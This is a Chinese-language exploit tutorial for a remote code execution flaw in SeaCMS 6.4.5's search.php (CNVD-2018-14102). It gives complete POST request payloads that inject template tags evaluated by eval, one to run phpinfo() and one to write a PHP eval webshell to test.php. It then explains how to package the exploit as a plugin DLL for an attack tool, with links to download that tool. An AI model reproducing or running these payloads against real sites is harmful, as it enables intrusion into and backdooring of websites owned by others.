SeaCms6.4.5存在遠程代碼執行漏洞。
注:工具地址
更新4.2版本
鏈接:https://pan.baidu.com/s/1j-dMtJYiOk2Pfo7QoEXHMA
提取碼:rw8l
https://wws.lanzous.com/b01zycnta
密碼:g3uz
開發手冊地址:https://www.kancloud.cn/qq496672097/limanmanexp
漏洞點存在於search.php中。
漏洞的主要成因
search.php調用_RunMagicQuotes方法,將全局變量注冊成變量。
在searchPHP中 echoSearchPage過濾不嚴,且直接將$order參數進行注冊。
最后使用模板echoSearchPage()方法進行翻譯,翻譯的過程中使用模板標簽,即可達到翻譯之后的模板是PHP代碼的目的。由於echoSearchPage()方法中的規定,代碼中包含if的部分才能夠被當作php代碼進行解析。並且使用eval進行代碼執行。所以還需要進行代碼組裝。
具體代碼審計部分請參閱網絡資料。
復現
搭建環境
使用Phpmystudy 進行搭建。 注意點:不能使用php7進行復現 。seacms僅支持非PHP7版本。
構造Post請求包
由已經公開的漏洞信息可以知道,觸發點在search.php 。該PHP是首頁的搜索功能。 計划使用burpsuit直接攔截數據包進行修改。
修改數據包內容
添加body內容為
searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')
發送即可生成文件名為test.php的木馬文件。
limanmanExp插件制作
下載模板
https://www.kancloud.cn/qq496672097/limanmanexp/2139154
創建一個.net framework 4 庫文件
下載模板,替換原有代碼
設置class名稱
設置class名稱為CNVD_2018_14102
設置url
設置url為url["url"]+="/search.php"
設置body
需要注意的是, 這里的
searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')
VS會自動給你添加空格, 需要手動修正。 另外也需要注意轉義“
等特殊字符。
設置header
由於是需要上傳POST數據,那么就必須設置ContentType
等頭部。 需要注意的是, 這里的頭部類型沒有-
,具體哪些頭名稱沒有-
,請參考手冊
設置請求方式
請求方式與請求次數有關, 具體的請求關系圖如下:
由於沒有多次請求我們可以不管上面的圖
直接將numberOfTime
修改為2即可。
生成.dll文件。
點擊 ”生成“-》”重新生成解決方案“即可在項目的bin
->debug
目錄獲得dll文件, 放入工具的插件目錄即可
測試
由於只使用了一Poc
開頭的方法。 那么在工具中也只能點擊POC
按鈕。
測試效果如下